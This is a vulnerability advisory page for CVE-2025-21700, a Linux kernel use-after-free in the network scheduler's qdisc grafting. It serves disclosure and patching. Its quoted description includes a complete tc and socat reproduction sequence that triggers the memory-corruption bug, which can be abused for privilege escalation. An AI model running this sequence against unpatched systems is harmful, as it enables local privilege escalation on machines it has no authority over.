CVE-2025-21700 net: sched: Disallow replacing of child qdisc from one parent to another
A use-after-free in the Linux kernel network scheduler allows local attackers to escalate privileges or execute code by manipulating qdisc parent relationships.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Local or same network only
- Victim action needed
- Not needed
- Fix
- Available
What is CVE-2025-21700?
CVE-2025-21700 is a high-severity use after free vulnerability in Linux kernel, published on 13 Feb 2025. It can only be exploited from the same machine or local network, with no action from the victim.
Official description
In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script
Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr
step3. a class for nesting tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr
step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7. tc class add dev lo classid 3:1 drr
step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Joint work with Lion Ackermann <nnamrec@gmail.com>
Weakness: CWE-416
Which versions are affected by CVE-2025-21700?
It affects 1 product.
Products include Linux kernel.
How do I fix CVE-2025-21700?
Apply the vendor's patch.
Upgrade to the fixed version. These bugs are found with fuzzing and sanitisers and avoided by memory-safe languages. More about Use after free.
Is CVE-2025-21700 being exploited?
There is no known exploitation of CVE-2025-21700 in the wild and no public exploit code.
Other vulnerabilities in Linux kernel
Sources
Also known as AZL-59079, BELL-CVE-2025-21700, DEBIAN-CVE-2025-21700, GHSA-r79j-x479-2vhw, UBUNTU-CVE-2025-21700.